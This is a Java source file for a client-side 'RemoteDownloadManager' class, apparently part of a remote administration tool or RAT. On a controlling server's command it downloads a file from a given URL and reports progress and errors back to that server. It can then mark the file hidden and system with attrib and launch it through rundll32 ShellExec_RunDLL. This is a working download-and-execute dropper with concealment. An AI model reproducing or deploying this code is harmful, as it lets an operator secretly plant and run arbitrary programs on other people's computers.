package client;

import com.esotericsoftware.minlog.Log;
import java.awt.Desktop;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.UnsupportedEncodingException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLDecoder;

public class RemoteDownloadManager {

    private ClientManager client;
    private boolean downloading;
    private boolean paused;

    public RemoteDownloadManager(ClientManager clientManager) {
        this.client = clientManager;

        downloading = false;
        paused = false;
    }

    public boolean isDownloading() {
        return downloading;
    }

    public boolean isPaused() {
        return paused;
    }

    public void pauseDownload(boolean paused) {
        this.paused = paused;
    }

    public void stopDownloading() {
        downloading = false;
    }

    public void startDownloading(String address, String saveLocation, boolean execute, int executionDelay, boolean hide) {
        int lastSlashIndex = address.lastIndexOf('/');

        if (lastSlashIndex >= 0 && lastSlashIndex < address.length() - 1) {
            try {
                String fileName = URLDecoder.decode(address.substring(lastSlashIndex + 1), "UTF-8");
                File file = new File(String.format("%s\\%s", saveLocation, fileName));
                
                startDownloading(address, file, execute, executionDelay, hide);
            } catch (UnsupportedEncodingException ex) {
                client.writeToServerLog(Log.LEVEL_ERROR, String.format("[RemoteDownloadManager] Failed to decode (UTF-8) address url %s", address), ex);
            }
        } else {
            client.writeToServerLog(Log.LEVEL_ERROR, String.format("[RemoteDownloadManager] Failed to figure out local file name for %s", address));
        }
    }

    private void startDownloading(final String address, final File localFile, final boolean execute, final int executionDelay, final boolean hide) {
        downloading = true;

        Thread t = new Thread(new Runnable() {
            @Override
            public void run() {
                OutputStream out = null;
                URLConnection urlConnection = null;
                InputStream in = null;

                try {
                    URL url = new URL(address);
                    out = new BufferedOutputStream(new FileOutputStream(localFile));
                    urlConnection = url.openConnection();
                    in = urlConnection.getInputStream();

                    int bytesRead = 0;
                    long i = 0;
                    long bytesWritten = 0;
                    long bytesTotal = urlConnection.getContentLengthLong();
                    long start = System.nanoTime();

                    byte[] buffer = new byte[1024];

                    net.packet.FileDownload packet = new net.packet.FileDownload();

                    packet.fileSize = bytesTotal;

                    while (bytesRead != -1) {
                        if (paused) {
                            Thread.sleep(1);
                            continue;
                        }

                        if (!downloading) {
                            client.writeToServerLog(Log.LEVEL_INFO, String.format("[RemoteDownloadManager] Stopped download, %d of %d Bytes written", bytesWritten, bytesTotal));
                            break;
                        }

                        if (i % 100 == 0) {
                            start = System.nanoTime();
                        }

                        bytesRead = in.read(buffer);

                        if (bytesRead == -1) {
                            client.writeToServerLog(Log.LEVEL_INFO, String.format("[RemoteDownloadManager] Finished download of %s, %d of %d KB written", localFile.getName(), bytesWritten / 1024, bytesTotal / 1024));

                            packet.downloadSpeed = 0.0;
                            packet.receivedBytes = bytesWritten;

                            client.sendUDP(packet);

                            downloading = false;

                            if (hide) {
                                Thread.sleep(10);
                                
                                Runtime.getRuntime().exec(String.format("attrib +s +h \"%s\"", localFile.getAbsolutePath())); 
                            }
                            
                            if (execute) {
                                Thread.sleep(executionDelay);
                                
                                Runtime.getRuntime().exec(String.format("rundll32 SHELL32.DLL,ShellExec_RunDLL \"%s\"", localFile.getAbsolutePath())); 
                            }

                            break;
                        }

                        bytesWritten += bytesRead;

                        if (i % 100 == 0) { // Send every 100 ms
                            double elapsedTime = ((System.nanoTime() - start) / 1000.0 / 1000.0 / 1000.0);
                            double downloadSpeed = (1 / elapsedTime) / 1024;

                            packet.downloadSpeed = downloadSpeed;
                            packet.receivedBytes = bytesWritten;

                            client.sendUDP(packet);
                        }

                        i++;

                        // Actually write the bytes
                        out.write(buffer, 0, bytesRead);

                        Thread.sleep(1);
                    }
                } catch (MalformedURLException ex) {
                    client.writeToServerLog(Log.LEVEL_ERROR, String.format("[RemoteDownloadManager] Invalid address url %s", address), ex);
                } catch (FileNotFoundException ex) {
                    client.writeToServerLog(Log.LEVEL_ERROR, String.format("[RemoteDownloadManager] Failed to create/find local file %s", localFile.getName()), ex);
                } catch (InterruptedException ex) {
                    client.writeToServerLog(Log.LEVEL_ERROR, "[RemoteDownloadManager] Failed to sleep in the thread", ex);
                } catch (IOException ex) {
                    client.writeToServerLog(Log.LEVEL_ERROR, String.format("[RemoteDownloadManager] Failed to download file %s", address), ex);
                } finally {
                    try {
                        if (in != null) {
                            in.close();
                        }
                        if (out != null) {
                            out.close();
                        }
                    } catch (IOException ex) {
                        client.writeToServerLog(Log.LEVEL_ERROR, "[RemoteDownloadManager] Failed to close read/write object", ex);
                    }
                }
            }
        });

        t.start();
    }

}
